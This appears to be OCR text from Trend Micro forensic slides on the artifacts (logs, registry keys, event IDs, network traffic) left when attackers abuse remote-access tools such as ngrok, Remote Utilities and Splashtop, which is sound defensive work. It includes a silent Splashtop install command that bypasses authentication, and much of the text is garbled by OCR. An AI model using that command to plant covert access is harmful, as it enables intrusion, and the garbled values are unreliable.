Name : ?unnel.ngr‘ok.com .

*.ngrok.com:443
FW rule for ngrok; Link

e

77 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.


https://ngrok.com/docs/guides/running-behind-firewalls

ngrok : Artifacts

Control the victim machine as if accessing via Remote Desktop

Tunnel

=

o
LEELE LELE

m
=
[=%

=

Region
etadata

:

Started

B
o
@

W

ards To

tn_2JUJIvSS0ayveLCasEeB260UAXCY
JP - Japan

@ bytes

Dec 27th, 2822 ©7:42:38 UTC

L
localhost: 3389

UE-+ TR YT
&

L3

IPI-9-(0): ‘U.tcpjp‘ngruk.iu:15264‘ I

- KEINTLEZA

=

EENCIERESERRIAZT.
-

hespuennnnnnnnnnnn®

(3) ATY3V0FTO)

ALTH)

tcp://0tcp.jp-ngrok.io:l5264

\\

XC|
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FQDN and port for tunnel connection
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ngrok Web console
) Agent )
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ngrok : Artifacts

Feature: Remote Access Control the victim machine as if accessing via Remote Desktop

Registry Process/NW Others

Useful Artifacts Files

EventlLog

Securyty.evtx (Event ID: 4624)
Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx (Event ID: 25)

Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx (EventID: 131)

8 AU 00T - 47Uk 4624, Microsoft Windows security auditing, & AR TOJFA - Ak 25, TerminalServices-LocalSessionManager >
T 22
PR UE—F 725k B —EX Toy BRI ILE U
O EER Eiﬂh: \E Yjohn
FOEA I 0594 =
Fot s C¥Windows¥Systemd Msvchost exe L= g =8 FELA: K16777216 I
Ao TGS
s Y- o = A —
Y3 AshT-5 PELA o @ Rk F0/F1 - 4Rk 131, RemoteDesktopServices-RdpCoreTS e
M e 1 o0 =
N\ —
\EI'D'(D%EW(M) == (054 T b [AL6336 1 i0EDER LGy TOP a0 ANE Lz, I
P=AE Log in events from itself are recorded
A4 ¢ ID(EN:
LAULIL): e e 1.9
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Tools Verification — Remote Utilities

g RemoteUtilities”

Install Portable

Hght
& A=ra 9> AnyDesk X splashtop  [©) Teamviewer @

gRemoteUtiIities@’ m"CONNECTWISE' LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS Eﬁli‘.iﬁfr ) GoodSync E? Eﬁlezma




Remote Utilities: Artifacts

Execution/Installation Agent program installation and connect from attacker

 Both portable(a.k.a Agent) and installer(a.k.a Host) are supported.

* |D and password will be generated on client(victim) after execution/installation.
Attacker connects to the victim by using the credential.

¥ Agent — * Remote Utilities - Viewer [Trial version 31 days left] [7.1.7.0] m - 0O X
General C i View Tools Manage Help Sign in
Ny ) I — ) 5 ”
m it Ac® © N - O = = &8 o oo
e Ote I I t I e S Add Full control  Viewonly  Filetransfer Power control Task manager  Terminal Execute  Inventorym..  RDP Chat
v connection.

Set double-click action . -

Havigaton FH « 5« 1 Generd addressbook Search
A=zt 1D: IE Al comections Folders N

@ General address bock

N2l A comnecson. .. J Victim machine appears on

console after authentication

UMD -FFERLEY. JUyTm-HOOF-LXY.

[ mazshid &iT43

HEiRFIIFReTEE &
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Remote Utilities: Artifacts

Execution/Installation Agent program installation and connect from attacker

Useful Artifacts Files Registry Process/NW Others

Log File
[Portable] %APPDATA%¥Remote Utilities Agent¥Logs¥rut_log_yyyy-mm.html
[Install] %ProgramFiles(x86)%¥Remote Utilities - Host¥Logs¥rut_log_yyyy-mm.html

Remote Utilities - Host O %

a—Fi:ze v i

110 The new certificate was generated.
1:39 34 Remote Utilities - Host 70170 is started. GMT+0Y%gpilindows 10.0 &4bit
€75 g€ Relay node: CK ID: 959-882-395-533; Port: 56355; Txy count: 1
1] %6 Relay node redirect: OK. Relay redirect. To: .254
la| ¢¢ Relay node: CK ID: 959-982-395-533; Port: 5655; Try count: 1
1lé6 ? Incoming ID connection from IP: .118

=

Date/Time of agent execution or installation
IP/Port of relay server
IP of attacker terminal

w N
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Remote Utilities: Artifacts

Execution/Installation Agent program installation and connect from attacker

Useful Artifacts Files Registry Process/NW Others
@I » [ System.evtx (EventID: 7045) ]

[Install]HKLM¥System¥CurrentControlSet¥Services¥RManService
* ImagePath: %ProgramFiles(x86)%¥Remote Utilities - Host¥rutserv.exe

[Portable] HKCU¥Software¥Usoris¥Remote Utilities¥Host¥Parameters¥*
[Install] HKLM¥Software¥Usoris¥Remote Utilities¥Host¥Parameters¥*

¥HKEY_CURRENT_USER¥Software¥Usoris¥Remote Utilities¥Host¥Parameters

EE =13 F-5 .<?xml version="1.8" encoding="UTF-8"2>

T ) <rms_internet_id_settings version="7@178"><internet_id»959-982-395-533«/internet_id>»
*aﬂl-'}\ REG_SZ Sxald <use_inet_connection»true</use_inet_connection»<inet_server»></inet_server:»
| CalendarRecordSettings  REG_BINARY [J# fe 3c 00 3f 00 78 00 6d 00 6c 00 20 00 76 00 65 00 72 00 73 00 69 00 6F 00 6¢ 00 3d 00 22 00 31 0. cuse_custom_inet_server>falsec/use_custom_inet_server><inet_id_port»5655¢/inet_id_port
I;'_é](:erti-'icates REG_BIMARY Jef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 5., cuse_inet_id_ipvésfalse</use inet id ipvé»><inet_id use_pin»false</inet_id_use pin>
E_?JFUSCIientPath REG_SZ C:¥lsers¥user01¥AppData¥Roaming¥Remote Utilities Agent¥70170%¥43F629E616%rfusclient.exe <inet_id_pin»</inet_id_pin></rms_internet_id_settings>
I;'_GJGeneral REG_BINARY Jef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 2065 6e 63 6f 64 69 62 67 3d 22 5., ‘ '\»
i’;'_c%]lnternetld REG_BINARY Jef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 2065 6e 63 6f 64 69 62 67 3d 22 5... : Conflg W|” appear after
4] Security REG_BINARY Jef bb bf 3c 3f 78 6d 6c 20 76 65 72 72 60 6f 62 3d 22 31 2e 30 22 20 65 6e 63 6f 64 60 62 67 3d 225, "o " oessssEasEnnnunnd

base64 decode
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Remote Utilities: Artifacts

Execution/Installation Agent program installation and connect from attacker

Useful Artifacts Files Registry Process/NW Others

[Portable] %APPDATA%¥Remote Utilities Agent¥<version>¥<random>¥rutserv.exe
[Install] %ProgramFiles(x86)%¥Remote Utilities - Host¥rutserv.exe

MName PID  CPU |/Ototal.. Privateb.. Userna.. Description m
I rutservexe 12796 P i Remote Utilities - Host
rocesses perS|sts efeae
= 13192 on victim .¥user01 Remote Utilities - Host * remoteutilities.com: 5655,443
: FW rule for Remote Utilities; Link
MName Local.. Remote address Rem... Prot.. State -
P Wutserv.exe (12796) 5650 TCP Listen Mo Time Source Destination Profocol  Length Info
= - ) - = - 11876 164.091266  192.168.118.13 2 18 TCp 3322 52152 [ 5655 fPsH, ACK]
I rutserv.exe (12796) 51875 21 15 5655 TCP Established 11905 164.247221  192.168.110.13 2 18 TCp 58 52152 | 5655 [[PSH, ACK]
T tseniene (12796 5650 TCPs_Lister s mims : Be il
Domain Mame System (response) FQDN that the process resolves Dst port 5655/.th will fail E
¥ Oueries e . § . over to 443 if blocked v
id71.remoteutilities.com: type A, class IN 13165 191.231598  192.168.110.13 2 .18 TCP 58 52180 PSH, ACK]
A TS 13166 191.231799  192.168.116.13 2 18 TCP 58 52180 |- 443 [esH, Ack]
. e . . 13167 191.232258  192.168.118.13 2 18 Tep 58 52180 | 443 [esH, Ack]
id71.remoteutilities.com: type CNAME, class IN, cname id.remoteutilities.com 13168 191.232292  192.168.118.13 2 18 TCP sg 52180 443 Jest, ack]
id.remoteutilities.com: type A, class IN, addr 64.28.61.146
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https://www.remoteutilities.com/support/docs/ports-used-by-remote-utilities/

Remote Utilities: Artifacts
Transfer specific files between client(victim) and server(attacker)

Remote Utilities - Viewer [Trial version 2 days left] [7.1.7.0] [£3] - a x

General Connection View Tools Manage Help Signin
= g <
© Yy O B O B = &8 O o

Add Full control View only Filetransfer Power control Task manager  Terminal Execute  Inventory m.. ROP Chat -
connection... T
Set double-click action § - -
B victim - File transfer - O x
Navigation 0 « 3 =~ T General address book File Tabs Access
L -0 - Local computer Ll - hd victim
All connections Folders co-le B cE-le
@ General acdress book ® « Users » Administrator » Desktop b test » . v e [Or ¢ v Uses » userdl b Desktop b test » e
o Name File type Size  Modified Attributes Name File type Size  Modified Attribute
E] fromattackertovictim.bt  Text Document  686..  12/28/2022 6:3.. A |5 fromvictimtoattackertxt  TextDocument 8684, 12/28/202263.. A
Add connection, ..
EEE L]
Legged on =
(¢} .
.
-
= L]
~—| [y Full control u
»
View onl =
L y g
i ssmnmmmnna®
victim Bl lask manager
[ Terminal
e o - < > < >
F4 Edit F5 Copy F5 Move F7 New folder F3 Delete F9 Exeate
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Remote Utilities: Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)
Useful Artifacts Files Registry Process/NW Others
Log File

[Portable] %APPDATA%¥Remote Utilities Agent¥Logs¥rut_log_yyyy-mm.html
[InstaII] %ProgramFiles(x86)%¥Remote Utilities - Host¥Logs¥rut_log_yyyy-mm.html

pba: FTP ccnnection Sessio BO010542-0BFC-4BT7E-ADCD-4DF0E4D4 504

loocpback FTP activity jiziicd
158
FC-TE7E-A0C-ADFIR DT
Receive fi \ C ¥Users¥user) | ¥WDesktop¥l est¥f romattackertov ct im. L
Fila raceiveds Ci¥loarstuser] [¥Decktonttest § romst tacker tovict in.

loopback FTP activity
4 »

loopback tion. Closed. Session: {B9010542-0BFC-4BTE-ADCD-4DF064D40A94}

conmection frem IB: .118 . .
? = 1.  Full path of received file
coming ID commection from IE: .118

oopbaci ETE conneccion. Session: (RO0T0543-RFC-4B7F-ADCH-aDPOE4DASRI4) 2. Full path of sent file

it

-0BFL-4B7E-ADCD- ADF0E4D434A34]
1: Send file: Ci¥Usersiuser(l¥Deskiop¥test¥f romvict intostiacker. bt
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Remote Utilities: Artifacts

TR FH VY EL {3 Review working processes/services on the victim and control them

Remote Utilities - Viewer [Trial version 2 days left] [7.1.7.0] [£3] - a x

General Connection View Tools Manage Help Signin
© N - O H & &8 G

Add Full control View only Filetransfer Power control Task manager  Terminal Execute  Inventory m.. R B victim - Task Manager - = x
connection... File
Set double-click action
Processes  \Windows Services Users
Navigation 0 « 3 =~ T General address book
All connections Folders Image name CPU Sessionld  Status &
@ Ceneral address book RuntimeBroker .exe 01 ‘Working
o RuntimeBroker .exe o 1 Waorking
RuntimeBroker .exe o1 Working
RuntimeBroker .exe o1 Working
RuntimeBroker .exe o1 ‘Working
rutsery.exs o1 Working
Add connection... Searchindexer.exe 00 Working
------------------> SearchUlexe 01 Working
- W’
Logged on - SecurityHealthService. exe o o \a’nrk!ng
0 : SecurityHealthSystray.exe o1 Working
" SErViCes.exe [ Working
: SgrmEBroker .exe 1] ‘Working
~—| [y Full control - h I
. elExperienceHost. exe o 1 Working
C]  View only n sihost.exe 01 Warking
- N
File transfer . SkypeApp.exe 01 Woarking
= 0
victim Bl Taskmanagerfpuessssssssssnnnnnny Smartscreen. exe 01 Working
- smss.exe L] Working
b= Terminal spoolsv.exe [ ] Working
o o o SupportConnector.exe 0 o ‘Working
curhnet ave n_on Winrlina K
% Execute Kill Process
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Remote Utilities: Artifacts

TR FH VY EL {3 Review working processes/services on the victim and control them

Useful Artifacts Files Registry Process/NW Others

Log File
[Portable] %APPDATA%¥Remote Utilities Agent¥Logs¥rut_log_yyyy-mm.html
[Install] %ProgramFiles(x86)%¥Remote Utilities - Host¥Logs¥rut_log_yyyy-mm.html

loopback B2D7R=V v —§&fR, I
18 Incoming ID connection from IP: 1

Incoming ID connection from IP:

Incoming ID connection from
loopback 22D 72—+ — 1.

Incoming ID connection from
Lepback 207V -, 1. Date/Time when task manager is opened.

Soming. TU someckion Srom S *Detail of the action is not recorded.

copbac B2D7 =V —ER

N A AT N
loopback BAD 72— v —H.

88 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



Remote Utilities: Artifacts

Feature: Terminal Open cmd or PowerShell terminal of the victim machine

Remote Utilities - Viewer [Trial version 2 days left] [7.1.7.0] [£3] - a x

General Connection View Tools Manage Help ignin
| : =
© Yy O B O H & &

Add Full control View only Filetransfer Power control Task manager  Terminal Execute  Inventory m..
connection...

B E: C\Windows\system32\cmd.exe

Set double-click action

Mavigation Zza General address book

All connections Folders

@ Ceneral address book E

Shell
) (@) Cmd

Add connection. .. O PowerShell

Logged on User context

: (®) System
i [+  Full contrel
= C]  View only

i

() Current user

[4]  File transfer

Connected

Execute Close
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Remote Utilities: Artifacts

Feature: Terminal Open cmd or PowerShell terminal of the victim machine

Useful Artifacts Files Registry Process/NW Others

EventlLog
Security.evtx (Event ID: 4688)
AR 4688, Microsoft Windows security auditing. H AR 4688, Microsoft Windows security auditing
S e FE
® ®TN) O XML TETCO ® FT(N) QO XML TRT(0
~
+ System + System
- EventData - EventData
SubjectUserSid  5-1-5-18 SubjectUserSid ~ 5-1-5-18
SubjectUserName\ g SubjectUserName $

SubjectDomainName WORKGROUP

. SubjectDomainName WORKGROUP
Subjectlogonld 0x3e7

SubjectLogonid 0x3e7

a NewProcessName C:¥Windows¥System32¥cmd.exe I ewProcessid__0x1670
- ek - ewProcessName C:¥Windows¥System32¥whoami.exe I

TokenElevationType %%1936 TerTl = =
Processld 0xe30 TokenElevationType %%1936

CommandLine  cmd.exe Processid 0x2058

TargetUserSid  $-1-0-0 CommandLine  whoami

TargetUserName - TargetUserSid S$-1-0-0

TargetDomainName - TargetUserName - .
TargetLogonld _0x0 TargetDomainName - rutserv.exe -> cmd.exe -> whoami

qTaremProcessNameC:¥Users¥user01¥AppData¥Roaming¥Remote Targetlogonid  0x0
Utilities Agent¥70170¥43F629E616¥rutserv.exe ParentProcessName C:¥Windows¥System32¥cmd.exe
Mandatorylabel 5-1-16-16364 v Mandatorylabel S-1-16-16384
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Remote Utilities: Artifacts
Remotely execute specific application on victim machine.

Remote Utilities - Viewer [Trial version 2 days left] [7.1.7.0] B - O x 5 test - Remote execute - x
General  Connection View Toos  Manage  Help Signin Docment or appécation path:
© N a ) e (= [T :@ [c:Windons System32icak.exe 2] Browse
! Filetrnster Powe oy m... ROP chat ’ Hidden Clear list
[CJuse system account
[Jrunas...
Authentication

Full control | View only. r control Task manager  Terminal Bxecute  Invent

Set double-click action

7 General address book |[searen

Username:

Password:

Domain:

- [Joo not dose Cancel

Useful Artifacts Files Registry Process/NW Others

[Portable] %APPDATA%¥Remote Utilities Agent¥Logs¥rut_log_yyyy-mm.html
[Install] %ProgramFiles(x86)%¥Remote Utilities - Host¥Logs¥rut_log_yyyy-mm.html

. 29.11.2022---035:16:35:674 11l¢ ] 3 | Incoming ID cconnection from IP: |

o o Ao -, . T Ty — " .
u 20,11,2022---05:16:26:111 43 locpback 1) & — | ={TER. C: ':\l;nd:uz\.syzce:n.sz-\ca_c.exel
l 26.11.2022---05:17:14:626 1lleé ] i  Incoming ID connection from IP
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Remote Utilities: Artifacts

Feature: Remote registry

Review and control registry on victim machine

Remote Utilities - Viewer [Trial version 2 days left] [7.1.7.0] [£3] - a x
General Connection View Tools Manage Help Sign in
. .
ke* test - Remote Registry Editor - O
© Y O B O = B
File Edit
Add Full control View only Filetransfer Power control Task manager  Terminal — - —
connection... HKEY_CLASSES_ROOT A | Name Type Data
Set double-click action v - HKEY_CURRENT_USER b {Default} REG_SZ (value not set)
) i Console
Navigation FH ¢ 3 =~ T General address book
B . Control Panel
= All connections Folders | Environment
@ Ceneral address book EUDC
o Keyboard Layout
| Printers
v Software
[ AppDatalow
Add connection, .. )
v Software
v Microsoft
Logged on v ME
(L) - 15.0
MNew > K
2 test &
——| [+ Full control
w .| | Classes String Value
5 Uementy . Local Settings Binary Value
[#]  File transfer Google
victim B Task manager Microsoft DWORD Value (32 bit)
[z Terminal | Policies QWORD Value (64 bit)
o o System Multi-String Value
HKEY_LOCAL_MACHINE vi<€ Expandable String Value

92 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.

HKEY CURRENT USER\Softwa IE\AEEData Low\ soﬁware\Micmsoﬁ\lME\test




Remote Utilities: Artifacts

EEN R () R (T:{H {4 Review and control registry on victim machine

Useful Artifacts Files Registry Process/NW Others

Log File
[Portable] %APPDATA%¥Remote Utilities Agent¥Logs¥rut_log_yyyy-mm.html
[Install] %ProgramFiles(x86)%¥Remote Utilities - Host¥Logs¥rut_log_yyyy-mm.html

24 loopback YE—=FLYREY, BEEhELL, Session: {7B259352-CCEF-461C-2363-5EFEDSBDACCS}
ncoming D c neccion rom P
e coming D connection f£rom IP:
e D e e B T 4 1 1. Date/Time when remote registry is opened.
*Detail of the action is not recorded.
coming ID connection from IP
locpback YE-FLYRMY, BHUBNELI, Session: {7B258352-CCBF-461C-2363-5EFEDSBDACCS}
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Tools Verification - Splashtop

Babuk, Black Basta,
’ ® Ragnar Locker
splashtop’ ==

Install Portable

Heht
& M=ro 9 AnyDesk ;\ splashtop’ TeamViewer @

gRemoteUtiIities® m"CONNECTWISE' LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS Eﬁll‘.iﬁfr ) GoodSync E? Eﬁlezma
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Splashtop: Artifacts
Agent program(=streamer) installation to the victim machine

e Silent installation is supported for both exe and msi, which bypasses manual
authentication and connects to attacker’s tenant automatically.

. BRRE
POT ARy s R ERA == i PHF I3 R EE B A
Splashiop PV COIAY = B T
DU E BEBEOD T2 - I - SR NF ) AATRRTEE ) s toam
= BURRRT AR5 M= K342 A =5 AR ENT @outiook.com
2Y. APY-T- YAF-NLT B BRI FeANTIS é N
3 D-EEENES . . . . .
,,,,,,, Lt | e ° AN = Authentication is skipped
Normal installation = | and automatically connects
requires authentication . to attacker’s tenant
L
.
:

>streamer.exe prevercheck /s /i dcode=<distribution code>. confirm_d=0, hidewindows=1
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Splashtop: Artifacts

Installation Agent program(=streamer) installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥Splashtop¥*
%ProgramData%¥Splashtop¥*
%LOCALAPPDATA%¥Splashtop¥*

@I » [ system.evitx (EventiD: 7045) |

HKLM¥System¥CurrentControlSet¥Services¥SplashtopRemoteService

* DisplayName: Splashtop® Remote Service

* ImagePath: %ProgramFiles(x86)%¥Splashtop¥Splashtop Remote¥Server¥SRService.exe
HKLM¥System¥CurrentControlSet¥Services¥SSUService

* Display Name: Splashtop Software Updater Service

* ImagePath: %ProgramFiles(x86)%¥Splashtop¥Splashtop Software Updater¥SSUService.exe

96 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



Splashtop: Artifacts

Installation

Useful Artifacts

%ProgramFiles(x86)%¥Splashtop¥Splashtop Remote¥Server¥SR*.exe

Agent program(=streamer) installation to the victim machine

Files Registry Process/NW

Others

Processes persists Splashtop® Streamer Service m

[5] SRManaget. s Y ®agp s s e naunannn s "'?IB.»' 3.112.206.224 a TP Eetablieh <R,

w Answers

Domain Mame System (response)

v 3-112-206-224.relay.splashtop.com: type A, class INj addr 3.112.286.224

o (EU HitsoDi8 &) “apisplashtopeu (* [ED-7)L RAO— REERLET)

Mame: 3-112-206-224.relay.splashtop.com | a * (75)_ relaysplashtopcom (*EIIL FA—FERLEY)

Type: A (Host Address) (1)
Class: IN (Bx©801)
Time to live: 3@
Data length: 4

sunfl Address: 3.112.206.224f|qeenssnsununnunnunnnnn

e (fi7) update-g3.splashtop.com

a)
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v & SRService.exe 2840 O
* 0384 P Splashtop® Streamer SRMana... *
@5 SRyerverexe 1392 % on victim Splashtop® Streamer -SpIaShtop.Com: 443
[37] SREgent.exe 7960 0.1 328/s  9.35MB q
I Sl T i e @@ FW rule for Splashtop; Link
3 SR:eature.exe 3360 0.02 7.8 IP/Port that the top® Streamer Feature
[ SRManagarexe (10384)  0.0.0.0 s3] process accessto | 1P Listen ATSvS a1 byITH—)\EDBEZHTITD
=] SRManaqn.r.exe[10384] 127.0.0.1 8763 _v_ TCP Listen
e SRManag;,exe[mBa-‘i] 127.0.0.1 9527 TCp Listen BEATOVISNTVWBIEEE IJPA7I4—)LEENCUT, RO REAA S EORABEEEFILT

o (JO—)ULY —23 > D55 apisplashtop.com ((F D)L B H— FERLET)

/ update splashtop.com / sn.splashtop.com (T > iR > SEBEIEH OIS

R—1t443 (3, SSL FT T4 wIESSLISD FS T4 woEEHTHLENGNET



https://support-splashtopbusiness.splashtop.com/hc/ja/articles/115001811966-Splashtop%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC-%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9%E3%81%AE%E3%83%95%E3%82%A1%E3%82%A4%E3%82%A2%E3%82%A6%E3%82%A9%E3%83%BC%E3%83%AB%E3%81%AE%E4%BE%8B%E5%A4%96%E3%81%A8IP%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E3%81%AF%E4%BD%95%E3%81%A7%E3%81%99%E3%81%8B-

Splashtop: Artifacts

Installation Agent program(=streamer) installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

Splashtop-Splashtop Streamer-Remote Session Operational.evtx (Event ID: 1, 200)

At X Application.evtx (Event ID: 1033, 11707)
24 Ha

A 4%k 1033, Msilhstaller

This computer was added to a Splashtop team. 24 g
o o 3693 =

Team owner: @outlook com I

; ; = Windows 4 2 b= —(ZIN RGN A R ENZELE, BiGE Splashtop Streamer, 85 1—T30x 3522, BRODSEE: 1041,
Server Info: st-v3-univ-srs-win-3523-¢3 apisplashtopcom 557 Splashtop Ine.. A2 b—JWDBRTIER T S— MRS 0

05 OBHT(M): Splashtop-Splashtop Str -Status/Operational o o
V-2A(S) Status eQEmJEm‘(D): 2002/12/26 131817 | OYDBRI(M): Aoplication q :
- S V-2 Msilnstaller OAQBID:  2022/11/08 113858 |
AEDE 2 SR AR IDXE) 1032 BADOHFIN 7L
LS Ui DL LAIMLY 48 F-O-KK: D59
-4 SISTE I/E1-5R) 24—y S-1-5-21-4039181559-42891 K1 —A—(R}: !
ARI-FO) it = s
ool S 1. Account name of Splashtop (email address)

2. Date/Time of streamer installation
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Splashtop: Artifacts

EENVH (] [ A3 Control the victim machine as if accessing via Remote Desktop

(] = o Y € vitcim - o X
el EFE 05 MYFY ALT
C @] = |
B Fusssssssnnnnnnup
v FIANRTN-T (1) .

Target monitor screen appears
on the console and able to control
*Copy-Paste b/w hosts-client is available

E victim @D @ &
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Splashtop: Artifacts

EEVVT R (] [ AV o1 Control the victim machine as if accessing via Remote Desktop

Useful Artifa Files Registry Process/NW Others

%ProgramFiles(x86)%¥Splashtop¥Splashtop Remote¥Server¥log¥SPLog.txt

<1>Nov24 16:12:06.185 SM_01676[RelayCh] start setup (OTM:@ LOCAL:0)

<1>Nov24 16:12:06.231 SM_01676[RelayC’ q Begin ssl tunnel

<1>Nov24 16:12:06.247 SM_01676[RelayCh ; (. rc1ay . splashtop.com ’key=nqmzXp0JYxKZMh8X5-20RPsHyhPIGOCHGhLVOv T
HTTP/1.0\nSST: Ready\nNTY: Ready\nSTD: Ready\nRCT: command\nLST: zonal\nSON: yes\nBKD: US\n\n

<1>Nov24 16:12:06.263 SM_01676[RelayCh] HTTP/1.0 20@ ok\nOTM: Ready\nRCT: Ready\nNTY: Ready\nSTD: Ready\nSON:
Ready\nContent-Type: text/plain\nContent-Length: @\n\n

2 >Nov24 16:12:06.263 SM ©1676[RelayCh] support OTM NTY STD RCT SON
<1>Nov24 16:12:06.263 SM 01676[RelayCh] create success, start handshake (otm:@ local:@ type:0)
<1>Nov24 16:12:06.310 SS_02564[PUpdate] Step(2) RtStatus(200:0) CloudOP(@x0@) Srv(0xe@:1) Bkend(©x@0) BkendR(©x81)
Prxy(@x@0) Support(0xee)
<1>Nov24 16:12:06.325 SM CoreMgr] client feat opt: ©x@RE3E336
<1>Nov24 16:12:06.325 CoreMgr] client feat must: ©x00000000
A
Al

<1>Nov24 16:12:06.388 uth-L] RegPasswordType = 0x00000070

<1>Nov24 16:12:06.388 SM_| Auth-L o share match, accept client

<1>Nov24 16:12:06.450 SM | Auth-L) ok, client (| czn connect to AV server

<1>Nov24 16:12:06.450 CoreMg~, ackWithJson enable [*]

<1>Nov24 16:12:06.450 Mg, 5 disp name | Gout1ook. com

<1>Nov24 16:12:06.450 SM_ gr] file64 enable [*]

<1>Nov24 16:12:06.450 SM_01676[CoreMgr] MV stream enable [*]

<1>Nov24 16:12:06.450 SM_01676[CoreMgr] fileCP enable [*]
gr]
gr]

FQDN of relay server
Date/Time of connection
Hostname of attacker machine
Account name of Splashtop
(email address)

PwnNe

-~

<1>Nov24 16:12:06.450 SM_01676[CoreMgr] fileDrag enable [*]
<1>Nov24 16:12:06.450 SM_01676[CoreMgr] show connection bubble [*]
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Splashtop: Artifacts

EEVVT R (] [ AV o1 Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files

Registry

Process/NW Others

Config

HKLM¥SOFTWARE¥WOWG6432Node¥Splashtop Inc.¥Splashtop Remote Server¥Clientinfo

&Rl b 7-5
Bf(FF) | REG_SZ (EDBEBL)
‘.’.'3: AbwConnType REG_DWORD 0x00000000 (0)
ab) AbwMode REG_SZ Disable
ab| AbwProfiles REG_SZ 0
ab) AppMame REG_SZ STR
ab| AppVersion REG_SZ 3523
b BundlelD REG _SZ
ab| Client P REG SZ
b| Client_SPID REG_SZ I@outlook.com
b| DevicelD REG_SZ 5
Gb'DeviceName REG_SZ |
ab| ExtralD REG_SZ
ab] OEMID REG_SZ
f‘_b: uDID REG_SZ 3fd7df3ccb91ddf7d943057b81efc591cf1dbaad
24| Update REG_DWORD 0x00000001 (1)
ab|Upsellinfo REG_SZ
f‘b':Userhccount REG_SZ
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Global IP address of attacker
machine

Account name of Splashtop
(email address)

Hostname of attacker machine




Splashtop: Artifacts

EEVVT R (] [ AV o1 Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

EventlLog

Splashtop-Splashtop Streamer-Remote Session Operational.evtx (Event ID: 1000, 1001)

AAb 1000, Remote Session X AAh 1001, Remote Session b
o8 L
Splashtop remote session (1072950136) has started to this computer by @outlook com The Splashtop remote session (1072350136) has ended. The remote session lasted 00:08:02.
rom the device App version: 3523

|App version: 3523

05 OBwI(M): Splashtop-Splashtop Streamer-Remote Session/Operational 05 ORAT(M): Splashtop-Splashtop Streamer-Remote Session/Operational

Y=2S) Remote Session Gﬂ.@ﬁﬂi—l (D) 2009/11/24 1451:37 Y-A@©): Remote Session BOBIT0):___2022/11/24 185438 |
ARV IDIEY 1000 BADOHF I B ARV ID(E) 1001 BAIDAT I BL

LARIKL tasE F=0-KK) DAIALY: T -0 (K):

2-4-(U) SYSTEM I TP 1-B—(R) o
AR KO} 1518 1.  Account name of Splashtop (email address)

FEARR - 1Ak 2T and hostname of attacker machine 12

2. Date/Time of connection started
3. Date/Time of connection ended
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Splashtop: Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)

- [m] X
el EFE 05 MYFY ALT
C 8] ==
. musssssssssssnns)
v FIANRTN-T (1) .

E victim [or} @"‘ &
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victim - JP(JVEE

E victim

o-h
C:¥Users¥Administrator¥Desktop
< " " g 5 ¥
B

fromattackertovictim. txt

YE—bp victim
C:¥Users¥user( 1¥Desktop
< » 4 g ¥

X i

REAERR YA RITEWR
1L3KB 2022/12/23 16:08 fromvictimtoattacker. txt.txt L6KB 2022/12/23 16:09

File transfer between client and server

will be available

> <




Splashtop: Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)

Useful Artifacts Files Registry Process/NW Others
Log File

%ProgramData%¥Splashtop¥Temp¥log¥FTCLog.txt

1 ©22-11-24 14:54:20 C:\Users\user@l\Desktop\fromattackertovictim.txt 0.0 KB Upload Completed NN outlook.com HENENGG———
2022-11-24 17:00:31 C:\Users\user@l\Desktop\fromvictimtoattacker.txt 0.0 KB Download Completed NG outlook.com

Log File

%ProgramFiles(x86)%¥Splashtop¥Splashtop Remote¥Server¥log¥SPLog.txt

4 14:5 81676 [ CCloudFileTaskManager: :OnUploadR CCloudFileTaskMana OnUploadRequest(l, 1,
", "fileName™: "fromattackertovictim”,"f e":"1824" , "fullPath’ ser@l\\Desktop\\fromattackertovictim”
t":"uploadFile™}

Date/Time of file upload and download, with the file
paths and account name/global IP address of attacker

2. Date/Time of file upload with the file path and size

3. Date/Time of file download with the file path and size
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Splashtop: Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)

Useful Artifacts Files Registry Process/NW Others

EventlLog

Splashtop-Splashtop Streamer-Remote Session Operational.evtx (Event ID: 1100, 1101)

A#2k 1101, Remote Session X A~k 1100, Remote Session

L EC EZEI o

A file was transferred during the Splashtop remote session (1072996038).
App version: 3523

File name: fromvictimtoattacker txt |

From .. . .__ . .__ (C¥Users¥user(1¥Desktop)

To: (N/&) |

Error code: N/&

# file was transferred during the Splashtop remote session (1072950136).

1 App version: 3.5.2.3
[IFile name: fromattackertovictimtxt
7 b/ O

Mo ! (C¥Users¥user 1¥Desktop)

oHOBE(M): Splashtop-Splashtop Streamer-Remote Session/Operational DI@ERIM): Splashtop-Splashtop Streamer-Remote Session/Operational
Y=2(S) Remote Session GM‘&JE (D) 2022/11/24 145420 | Y=2(S) Remote Session OS@BFD):  2022/11/24 17:00:31 |
AR b ID(E): 101 A2BMATINY: L A7 b IDEE: 1100 BADOHTIVC: Bl
VALY 118 F-0—K( F=0—R(K):
2-H—(U) SYSTEM 21— 1. File name of uploaded/downloaded ToE2-5-(RY
AR3-KOX L 2. Hostname of attacker machine
SERBIER(D: 425 b S @ANT . .
3. Date/Time of file upload/download
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Tools Verification — SupRemo

SupRemo

Relay Direct

Install Portable

-~
